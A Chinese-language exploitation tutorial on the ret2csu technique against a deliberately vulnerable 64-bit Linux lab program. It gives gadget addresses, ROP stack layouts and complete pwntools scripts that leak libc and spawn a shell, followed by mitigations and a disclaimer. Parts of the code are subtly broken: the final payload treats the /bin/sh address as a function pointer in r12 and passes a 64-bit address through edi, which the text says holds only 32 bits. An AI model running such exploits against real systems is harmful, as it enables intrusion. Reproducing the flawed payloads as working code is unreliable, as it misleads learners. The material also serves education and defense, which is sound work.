在64位程序栈溢出漏洞利用的系列文章中,我们已经探讨了多种技术方法。本文将重点介绍return-to-csu技术,这是2018年BlackHat Asia上分享的一种绕过ASLR的新技术,特别适用于64位Linux环境下的漏洞利用场景。
1. 64位栈溢出漏洞利用核心能力速览
| 能力项 | 说明 |
|---|---|
| 目标架构 | x86-64 (64位Linux程序) |
| 主要技术 | return-to-csu (ret2csu) |
| 适用场景 | 绕过ASLR、NX保护,控制多个寄存器参数 |
| 技术特点 | 利用libc_csu_init中的通用gadget片段 |
| 依赖条件 | 非PIE可执行文件,存在栈溢出漏洞 |
| 优势 | 可控制rdx、rsi、edi等关键参数寄存器 |
| 限制 | rdi只能写入低32位,适合文件描述符参数 |
2. return-to-csu技术原理分析
return-to-csu技术的核心思想是利用GCC编译链在可执行文件中自动插入的__libc_csu_init函数中的通用代码片段。这些代码片段可以让我们控制多个关键寄存器,为后续的函数调用做准备。
2.1 __libc_csu_init函数结构分析
通过objdump反汇编可以看到__libc_csu_init函数包含两个关键代码片段:
$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35反汇编结果显示的关键片段:
; 片段1 - 寄存器设置部分 400660: 4c 89 ea mov rdx,r13 400663: 4c 89 f6 mov rsi,r14 400666: 44 89 ff mov edi,r15d 400669: 41 ff 14 dc call QWORD PTR [r12+rbx*8] ; 片段2 - 寄存器恢复部分 40067a: 5b pop rbx 40067b: 5d pop rbp 40067c: 41 5c pop r12 40067e: 41 5d pop r13 400680: 41 5e pop r14 400682: 41 5f pop r15 400684: c3 ret2.2 技术实现原理
return-to-csu技术的巧妙之处在于将这两个片段组合使用:
- 首先跳转到片段2:通过精心构造的栈布局,连续pop多个寄存器,为片段1准备参数
- 然后跳转到片段1:利用已经设置的寄存器值,控制rdx、rsi、edi,并间接调用目标函数
这种组合使得我们能够在只有有限控制权的情况下,精确设置函数调用所需的多个参数。
3. 环境准备与实验设置
3.1 实验程序准备
我们使用一个简单的存在栈溢出漏洞的程序作为实验目标:
// victim.c #include <stdio.h> int foo() { char buf[10]; scanf("%s", buf); printf("hello %s\n", buf); return 0; } int main() { foo(); printf("good bye!\n"); return 0; }3.2 编译选项设置
为了便于实验,我们使用特定的编译选项禁用保护机制:
$ gcc victim.c -o victim_nx -g -fno-stack-protector -no-pie编译选项说明:
-fno-stack-protector:禁用栈保护-no-pie:禁用位置无关可执行文件-g:包含调试信息
3.3 必要工具安装
实验需要以下工具:
- gdb:调试器
- objdump:反汇编工具
- python:用于生成payload
- 相关ROP查找工具(如ROPgadget)
4. return-to-csu利用实战
4.1 确定漏洞利用点
首先通过测试确定溢出点:
$ python -c "print 'A'*18 + 'B'*8" | ./victim_nx通过gdb调试确定精确的溢出偏移量,确认我们可以控制返回地址。
4.2 构造ROP链
return-to-csu利用的关键是精心构造ROP链:
栈布局规划: [填充数据] * 18 [片段2地址] # 跳转到pop链 [rbx值] # 设置为0,用于后续计算 [rbp值] # 设置为1,用于通过比较检查 [r12值] # 目标函数指针地址 [r13值] # 设置rdx参数 [r14值] # 设置rsi参数 [r15值] # 设置edi参数(低32位) [片段1地址] # 跳转到mov链 [填充数据] * 7 # 片段1执行后的栈调整 [目标函数地址] # 实际要调用的函数4.3 具体实现步骤
4.3.1 查找gadget地址
# 查找片段1和片段2的准确地址 $ objdump -d victim_nx | grep -A5 -B5 "mov rdx,r13"4.3.2 设置函数参数
对于需要调用write或send函数泄露libc地址的场景:
# Python payload生成示例 pop_rbx_rbp_r12_r13_r14_r15 = 0x40067a # 片段2地址 mov_rdx_r13_mov_rsi_r14_mov_edi_r15d = 0x400660 # 片段1地址 # 设置write函数参数:fd=1, buf=某个GOT条目, count=8 payload = b'A'*18 payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(got_entry) # r12 - 要调用的函数指针 payload += p64(8) # r13 -> rdx (count) payload += p64(got_address) # r14 -> rsi (buf) payload += p64(1) # r15 -> edi (fd) payload += p64(mov_rdx_r13_mov_rsi_r14_mov_edi_r15d) payload += b'\x00'*56 # 填充片段1需要的栈空间4.3.3 计算libc基地址
通过泄露的GOT条目值,可以计算出libc的基地址:
# 从泄露的地址计算libc基地址 leaked_addr = u64(leaked_data) libc_base = leaked_addr - libc_offset # 计算system和/bin/sh的真实地址 system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset5. 完整漏洞利用示例
5.1 利用write函数泄露libc
#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'debug' # 启动目标程序 p = process('./victim_nx') # gadget地址 pop_rbx_rbp_r12_r13_r14_r15 = 0x40067a mov_gadget = 0x400660 # 目标函数地址 write_plt = 0x400490 # write@plt main_addr = 0x4005a0 # main函数,用于重新执行 # 构造ROP链泄露write的真实地址 payload = b'A'*18 payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(1) # r12 - write的GOT条目(示例) payload += p64(8) # r13 -> rdx payload += p64(0x600000) # r14 -> rsi(可读地址) payload += p64(1) # r15 -> edi payload += p64(mov_gadget) payload += b'\x00'*56 payload += p64(main_addr) # 返回main重新执行 p.sendline(payload) leaked_data = p.recv(8)5.2 获取shell
在获取libc基地址后,构造最终的exploit:
# 计算实际地址 libc_base = u64(leaked_data) - 0x0f7250 # write在libc中的偏移 system_addr = libc_base + 0x045390 # system在libc中的偏移 binsh_addr = libc_base + 0x18ce57 # /bin/sh字符串在libc中的偏移 # 最终payload final_payload = b'A'*18 final_payload += p64(pop_rbx_rbp_r12_r13_r14_r15) final_payload += p64(0) # rbx final_payload += p64(1) # rbp final_payload += p64(binsh_addr) # r12 - /bin/sh地址 final_payload += p64(0) # r13 -> rdx final_payload += p64(0) # r14 -> rsi final_payload += p64(binsh_addr) # r15 -> edi final_payload += p64(mov_gadget) final_payload += b'\x00'*56 final_payload += p64(system_addr) # 调用system p.sendline(final_payload) p.interactive()6. 技术优势与局限性分析
6.1 技术优势
- 通用性强:几乎所有GCC编译的64位Linux程序都包含__libc_csu_init
- 功能强大:可以同时控制多个关键参数寄存器
- 绕过保护:有效对抗ASLR和NX保护机制
- 稳定性高:基于程序本身的代码片段,可靠性好
6.2 局限性
- rdi限制:只能设置edi(低32位),对于需要完整64位地址的情况可能不够
- 依赖非PIE:需要可执行文件不是PIE编译的
- 栈布局复杂:需要精确控制栈布局,调试难度较大
- 多次交互:通常需要多次泄露和攻击才能完成利用
7. 防护措施与缓解方案
7.1 编译时防护
# 启用所有保护机制 gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now -Wl,-z,relro victim.c -o victim_secure7.2 运行时防护
- 启用ASLR:
echo 2 > /proc/sys/kernel/randomize_va_space - 使用Stack Canaries检测栈破坏
- 限制程序权限,使用最小权限原则
7.3 代码安全实践
// 安全的输入处理 #include <stdio.h> int foo() { char buf[10]; if (fgets(buf, sizeof(buf), stdin) == NULL) { return -1; } printf("hello %s\n", buf); return 0; }8. 与其他技术的对比分析
8.1 ret2csu vs 传统ROP
| 特性 | ret2csu | 传统ROP |
|---|---|---|
| gadget来源 | 固定位置(libc_csu_init) | 分散在代码段 |
| 参数控制 | 可控制多个寄存器 | 通常需要多个gadget |
| 可靠性 | 高(通用存在) | 依赖具体程序 |
| 利用复杂度 | 中等 | 可能很复杂 |
8.2 ret2csu vs ret2libc
| 特性 | ret2csu | ret2libc |
|---|---|---|
| ASLR绕过 | 需要泄露 | 需要泄露 |
| 适用场景 | 参数控制复杂时 | 参数简单时 |
| 代码依赖 | 依赖程序本身 | 依赖libc |
9. 实战技巧与注意事项
9.1 调试技巧
# 使用gdb调试ROP链 gdb ./victim_nx b *0x40067a # 在pop链开始处断点 r < payload_file9.2 常见问题解决
- 段错误:检查栈布局是否正确,gadget地址是否准确
- 参数错误:确认寄存器设置符合函数调用约定
- 地址错误:验证libc偏移量是否正确
9.3 自动化工具使用
# 使用ROPgadget查找gadget ROPgadget --binary victim_nx | grep "pop rbx"10. 总结与延伸学习
return-to-csu技术是64位Linux环境下栈溢出利用的重要方法,它利用了GCC编译器的特性,提供了一种相对通用的ROP利用方式。掌握这一技术对于深入理解现代漏洞利用技术具有重要意义。
进一步学习方向:
- 研究其他通用gadget发现方法
- 学习对抗完整保护机制的综合利用技术
- 了解内核态漏洞利用技术
- 研究漏洞利用的检测和防护方法
通过本文学到的技术应该仅用于安全研究和防御目的,在实际渗透测试中要确保获得合法授权,遵守相关法律法规。